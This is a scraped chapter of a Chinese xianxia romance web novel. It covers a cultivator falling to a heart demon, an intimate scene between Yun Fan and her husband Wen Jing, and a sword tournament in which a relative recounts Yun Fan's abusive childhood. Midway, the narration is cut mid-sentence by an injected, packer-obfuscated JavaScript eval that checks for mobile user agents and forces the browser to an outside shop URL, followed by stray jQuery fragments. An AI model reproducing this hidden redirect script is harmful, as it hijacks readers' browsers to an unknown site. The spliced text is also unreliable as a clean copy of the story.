文趣网 > 其他小说 > 我那温柔又强大的夫君 > 13. 她的唇
    修士生出心魔是常有的事,若能勘破顿悟,修为便能大大提升,可若是受心魔蛊惑入了魔,心魔便再难消失,修士时刻都有成为堕魔的可能。

    成为堕魔后,修士修为暴涨,彻底失去理智见人就杀,会是一个很大的麻烦,所以多数人会在修士入魔后就将其杀死。

    江青云仍是一副温柔和善的模样,语气平和:“还请温主夫当作没有看见这件事。”

    温璟讨厌江许,但还没讨厌到要让江许必须死的地步,何况这事他没得选,除非他不想活了。

    重新靠回云繁身上,温璟疏离道:“方才风大迷眼,我不曾看见什么事。”

    抬手抚摸温璟柔顺细腻的墨发,云繁神情漠然:“阿璟柔弱,还请令弟以后离他远上一些。”

    “好。”江青云温声:“时候不早,阿繁回去休息吧,莫要因为今夜的事影响了心情。”

    云繁带着温璟离开后,江耀抬脸看向江青云,眸中含着一丝希冀:“云繁姐姐同意了吗?”

    见江青云摇头,她问:“是不是资源给少了?”

    江青云轻叹:“不是。”

    垂下脑袋,江耀难掩失望:“那九哥怎么办?”

    江青云往江家主的住处走:“如果阿许死了,耀耀会怨阿繁吗?”

    “不会。”江耀背着江许跟上:“九哥若是死了,我会很伤心很伤心,可这件事,怎么也怨不到云繁姐姐身上。”

    她在九哥面前对云繁姐姐不满,不过是想让九哥不再那么偏执的喜欢云繁姐姐。

    “只是我本以为云繁姐姐会同意,以她以往的性子,她会同意……是因为那个温璟吗?”

    江青云没有否认:“嗯。”

    江耀蹙眉:“云繁姐姐喜欢他?九哥对云繁姐姐的那种喜欢?”

    她有很多喜欢的人,这些很多人里面,也包括云繁姐姐。

    但九哥跟她说,她对云繁姐姐的喜欢,跟他对云繁姐姐的喜欢不一样。

    她不理解他的那种喜欢,总感觉那种喜欢是把自己困在一片深不见底的海里,自己出不去,还要拉人共沉沦。

    她一直觉得那种喜欢不好。

    事实证明果然不好,不仅九哥因此入魔,云繁姐姐也变傻了,送到手里的资源都不要了。

    ……

    温璟手上的伤在回到房间时已经好得差不多,观察着云繁的神情,他轻轻扯住她的衣袖,低声问:“妇主心情不好?因为江许?”

    云繁嗓音平淡:“嗯。”

    “……”扯住衣袖的手微微收紧,温璟一时不知道该说些什么。

    简单沐浴后,两人躺到床上,中间隔着些许距离。

    月光透过窗棂落入屋内,亮得人毫无困意。

    温璟起身放下床幔,躺回时忍不住看了云繁一眼,正巧对上她晦涩复杂的目光。

    他一顿,倾身吻上她的唇。

    云繁搂住他的腰,与他温柔缠绵。

    双手捧住云繁的脸,温璟在她唇上一下一下轻啄:“不要想他。”

    漂亮的桃花眼蒙上水雾,他又重复一遍:“不要想他。”

    指尖触碰他湿润泛红的眼尾,云繁柔声问:“这么委屈?”

    温璟停下动作,眸中泪光弥漫:“……很难过,很委屈。”

    “抱歉。”神色染上几分心疼,云繁语气越发柔和:“我虽与江许不亲近,但和江少主却是生死之交,当初对他确实做不到见死不救。”

    “今夜的事,也确实让你委屈了,不过以后不会了,我不会再让江许伤你一丝一毫。”

    温璟一愣,觉得有些不对劲,云繁说的话,与他心里想的不太一样。

    默了默,他还是问:“以前做不到见死不救,现在呢?”

    “每个人都该为自己的选择负责。”云繁平静道:“而不是让别人为他的选择负责。”

    温璟不自觉地捏了捏她的耳垂:“所以妇主刚才不是在对江许感到愧疚,不是在想该如何救他?”

    云繁不明白:“我为何要对他感到愧疚,给我带来麻烦的,不是他吗?”

    “如果没有他,今夜你不会被江乙推,不会这么委屈。”

    “我倒是有些后悔救了他。”

    温璟:“……”

    “江少主希望我娶他,我拒绝了。”把温璟搂进怀里,云繁温柔又坚定道:

    “这一世,我只要阿璟一人。”

    “妇主……”温璟依恋地揽紧云繁。

    爱意肆意疯长,他越陷越深,无法自拔,心甘情愿。

    亲吻落在锁骨处,云繁抬手捂住温璟的唇,温声哄道:“乖,此事不可沉迷,该休息了。”

    温璟不语,握住她的手,将她的指尖含进嘴里。

    云繁呼吸一滞。

    在床事上,温璟很少主动,一旦主动,她很难拒绝。

    ……

    “七妹夫今日看着有些疲惫。”复赛快要开始时,顾若走到温璟身边坐下,目露关心:“可是昨夜没睡好?”

    想到昨夜自己放浪的行为,温璟耳朵一热,故作镇静道:“昨夜思绪难安,确实没睡好。”

    顾若不疑有他,想了想宽慰道:“七妹夫放心,七妹对江许一直很冷淡,她们之间不会有什么。”

    视线落在正在抽签的云繁身上,温璟眸色柔和:“嗯,我放心的。”

    复赛的规则和初赛一样,二十人抽签对战,赢三轮者进入决赛,不再参与抽签,晋级八人后复赛结束。

    看见签子上的名字,云繁唇角微微下压,朝云霄走去。

    云霄没什么表情地看她一眼,抬脚往比试台上走。

    两人站上比试台,云霄示意云繁先出手。

    云繁没客气,握紧剑柄,直刺而上,随即剑被挑飞。

    “……啧。”

    在修为的绝对压制下,毫无还手之力。

    捡回云繁的剑递给云繁,云霄淡声:“夸我。”

    云繁开口,语调毫无起伏:“好姐姐,你真棒。”

    “……”云霄转身下台:“别什么都跟顾朝阳学。”

    观战席上,见温璟皱眉,顾若不由问:“七妹夫可是觉得六妹对七妹下手太狠?”

    温璟垂眸:“没有。”

    嘴上说着没有,眉头却是一点也没有松开。

    顾若直白道:“你有。”

    “……”

    “七妹从小就是个要强的性子,若六妹真手下留情,她才会不高兴。”

    听到这话,温璟心中一动,看向顾若缓声问:“五姐夫很了解妇主?”

    “算不上很了解。”顾若摇头:“只不过常有见面,多少知道些她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507859|202456||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的性子。”

    云繁的父亲与云霄的父亲是一对双生子,是顾朝阳母亲的亲哥哥,也是顾若母亲的亲弟弟。

    顾若年长云繁六岁,年长云晏、云霄、顾朝阳三岁,她们四个算是顾若带大的。

    温璟眸光闪烁,又问:“五姐夫可以跟我说说妇主小时候的事吗?”

    “可以啊。”顾若稍作回忆,道:“七妹小时候就冷冷的,又努力又要强,总是在拼命。”

    温璟敛眉:“总是在拼命?”

    脸上浮现几分心疼,顾若叹气:“旁人总说她的修为是靠资源堆砌起来,可云家主公平公正,在资源上从来不会偏袒她,而且光靠资源,也无法提升她多少修为。”

    “她的修为,是她一次次受伤,一次次在死亡边缘徘徊提升的。”

    “她曾独自采摘见雪铃被雪蛇咬伤险些冻死半路,也曾被凶兽踩断手脚险些吞吃入腹……那时她还未满七岁。”

    听着顾若的话,温璟看向再次上台比试的云繁,眼底被心疼溢满,呼吸都开始不顺畅。

    视线跟着落在云繁身上,顾若认真道“我很佩服七妹,我做不到如她一般坚韧不拔,不惧磨难。”

    温璟没说话,脑海里一幕幕都是云繁身受重伤濒临死亡的模样。

    两人安静片刻,顾若收回视线,摸了摸鼻子,问:“七妹夫还听吗?”

    温璟声音微哑:“听的。”

    “想必七妹夫也听旁人说过七妹不受生父待见,其实何止是不受待见,简直就是虐待。”

    顾若坐直身体,眸中划过一抹不自然,温璟眼里只有云繁,没注意到他的异常。

    “我那五叔是个极其好面子的人,他是长辈,我本不该议论他。”

    顾若捏着手指,声音渐轻:“可他做得实在过分,七妹出生不过一个时辰,他就把七妹扔在院中不管不顾。”

    “云家主生下七妹后需闭关稳固修为,闭关出来后,五叔院中的仆人也不敢同她多说。”

    “……五叔在人前装得很好,所有人都以为他是一个爱女儿的好父亲。”

    “直到七妹五岁那年,云晏翻错墙误入五叔院中,看见小小的七妹被罚跪在雪地里,我们方才得知她一直被亲生父亲虐待。”

    “罚跪,鞭打,辱骂,五叔把所有的怨气都发泄在七妹身上,不仅如此,他还纵容恶仆以下犯上,七妹常被恶仆殴打谩骂,侮辱戏弄。”

    温璟指尖发抖,心脏阵阵抽痛,顾若每说一句,他脑海里的画面就变换一次,仿佛亲眼见到年幼的云繁被罚跪,被鞭打,被辱骂,被戏弄。

    怪不得她不要仆人伺候。

    仰头闭了闭眼,温璟强忍泪意,妇主的来时路,比他想象的还要苦。

    比试台上,云繁将灵力运用到极致,没有丝毫浪费。

    她的对手是引气境九阶,顾家人,在剑道上也很有天赋,上一场比试排第七。

    两人实力相近,能看透对方接下来的动作,却无法找到对方出剑时的破绽。

    又过了十几招,云繁转动手指,剑柄随之转动,剑身朝对手的脸劈去。

    对手后退避开,云繁的剑又旋飞而来,她下腰再避,随即直起身,刚要有动作,一柄剑架在她肩上。

    剑柄回到云繁手中,云繁神情淡然:

    “你输了。”